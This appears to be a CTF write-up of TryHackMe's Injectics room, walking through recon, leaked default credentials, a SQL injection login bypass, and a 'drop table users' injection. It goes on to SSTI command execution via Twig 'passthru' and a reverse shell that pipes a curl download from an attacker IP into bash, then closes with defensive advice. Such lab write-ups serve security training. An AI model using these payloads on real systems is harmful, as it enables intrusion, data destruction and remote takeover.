Understanding Injectics CTF
Capture The Flag (CTF) challenges like Injectics on TryHackMe provide hands-on experience in identifying and exploiting injection vulnerabilities in web applications. This walkthrough demonstrates a systematic approach to compromising a target system through SQL injection, Server-Side Template Injection (SSTI), and privilege escalation techniques. By following these steps, you'll learn how attackers exploit common web vulnerabilities to gain administrative access and retrieve flags.
Key Concepts
- Initial Reconnaissance: Map open ports and services to identify attack surfaces
- Information Gathering: Analyze source code, hidden files, and logs for sensitive data
- SQL Injection: Bypass weak input sanitization to manipulate database queries
- Server-Side Template Injection: Exploit SSTI to execute arbitrary commands on the server
- Privilege Escalation: Gain reverse shell access to retrieve the final flag
Initial Reconnaissance
Start by scanning the target for open ports and services using nmap:
nmap -sC -sV -T4 XX.XX.XXX.XXX -oN initial
Scan Results
| PORT | STATE | SERVICE | VERSION |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 |
| 80 | open | http | Apache httpd 2.4.41 ((Ubuntu)) |
Key Finding: Port 80 (Apache web server) is the primary attack surface for this challenge.
Information Gathering
Website Analysis
Navigate to the web application at http://XX.XX.XXX.XXX and inspect the source code for hidden clues. Look for HTML comments that may reveal sensitive information.
Example Discovery:
<!-- Mails are stored in mail.log file -->
Accessing Sensitive Files
Based on the source code hint, navigate to http://XX.XX.XXX.XXX/mail.log to uncover credentials:
From: dev@injectics.thm
To: superadmin@injectics.thm
Subject: Update before holidays
Default credentials for emergency access:
| Password | |
|---|---|
| superadmin@injectics.thm | superSecurePasswd101 |
| dev@injectics.thm | devPasswd123 |
Important: These default credentials are automatically restored if the
userstable is corrupted—a critical detail for later exploitation.
SQL Injection Attack
Bypassing Client-Side Sanitization
The login form implements client-side validation that blocks common SQL injection keywords:
const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
Bypass Method: Use Burp Suite to intercept the request and inject a payload directly:
username=a' || 1=1 -- -&password=a&function=login
Result: Successfully log in as admin without valid credentials by exploiting the SQL injection vulnerability.
Database Corruption Technique
Once logged in as admin, use the dashboard to corrupt the users table:
rank=1&country=&gold=23;drop table users -- -&silver=21&bronze=12345
System Response:
InjecticsService is running to restore the table. Please wait for 1-2 minutes.
After the table is restored with default credentials, log in using the credentials discovered in mail.log.
Server-Side Template Injection (SSTI)
Identifying the Vulnerability
Test for template injection in the profile update form by entering:
{{2*2}}
Output: Welcome, 4!
Confirmation: The application evaluates template expressions, indicating an SSTI vulnerability.
Exploiting SSTI for Command Execution
Execute system commands using SSTI payloads:
{{['id',""]|sort('passthru')}}
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data) Array!
This confirms you can execute arbitrary commands as the www-data user.
Gaining Reverse Shell Access
Reverse Shell Payload
Use SSTI to download and execute a reverse shell script:
{{['curl XX.XX.XX.XX/shell.sh|bash',""]|sort('passthru')}}
Prerequisites:
- Replace
XX.XX.XX.XXwith your attacker machine's IP address - Host
shell.shon a local web server - Set up a netcat listener:
nc -lvnp 4444
Result: Establish a reverse shell connection to retrieve the final flag from the target system.
Security Best Practices
Understanding these attacks helps defenders implement proper security measures:
- Input Sanitization: Validate and sanitize all user inputs on the server-side to prevent SQL injection and SSTI
- Least Privilege Principle: Restrict database and server permissions to minimize potential damage
- Security Logging: Monitor and log suspicious activities such as repeated failed login attempts or unusual queries
- Regular Updates: Patch web servers, frameworks, and dependencies to mitigate known vulnerabilities
- Disable Client-Side Validation: Never rely solely on client-side validation for security controls
- Template Engine Security: Use safe template rendering methods and disable dangerous functions
Learn More
Practice Platforms
- TryHackMe: Explore Injection Challenges for hands-on practice with real-world scenarios
- HackTheBox: Additional CTF challenges focusing on web application security
Security Resources
- OWASP SQL Injection Guide: SQL Injection Prevention
- OWASP SSTI Guide: Server-Side Template Injection Testing
Essential Tools
- Burp Suite: Web application security testing platform
- sqlmap: Automated SQL injection detection and exploitation tool
- nmap: Network scanning and service enumeration tool